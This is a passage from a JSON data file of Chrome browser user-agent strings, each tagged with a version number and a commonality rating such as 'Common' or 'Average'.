Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 8350.68.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.115 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.65 Safari\\/537.31\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.109 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.146 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.52 Safari\\/537.17\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.134 Safari\\/537.36 http:\\/\\/notifyninja.com\\/monitoring\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.45 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.152 Safari\\/537.22\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-G900T Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.6 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SCH-I545 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.95 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/535.7 (KHTML, like Gecko) Chrome\\/16.0.912.77 Safari\\/535.7\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 10032.75.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.64 Safari\\/537.11\"},{\"commonality\":\"Common\",\"version\":\"39.5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.5.2171.95 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"39.5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.5.2171.95 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9000.91.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/36.0.1985.143 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.97 Safari\\/537.22\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.109 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.104 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.104 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/536.5 (KHTML, like Gecko) Chrome\\/19.0.1084.56 Safari\\/536.5\"},{\"commonality\":\"Common\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.95 Safari\\/537.11\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/535.1 (KHTML, like Gecko) Chrome\\/13.0.782.112 Safari\\/535.1\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2062.124 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/27.0.1453.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2049.0 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.99 Safari\\/537.22\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9765.85.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.123 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9202.64.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.146 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 10176.76.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.190 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.79 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.0 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.75 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.93 Safari\\/537.36 XaxisSemanticsClassifier\\/1.0 http:\\/\\/crystalsemantics.com\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 8872.76.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.105 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-T230NU Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/536.11 (KHTML, like Gecko) Chrome\\/20.0.1132.57 Safari\\/536.11\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.64 Safari\\/537.31\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.79 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1 (KHTML, like Gecko) CriOS\\/51.0.2704.104 Mobile\\/13F69 Safari\\/601.1.46\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.57 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.65 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/536.11 (KHTML, like Gecko) Chrome\\/20.0.1132.47 Safari\\/536.11\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39.5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.5.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 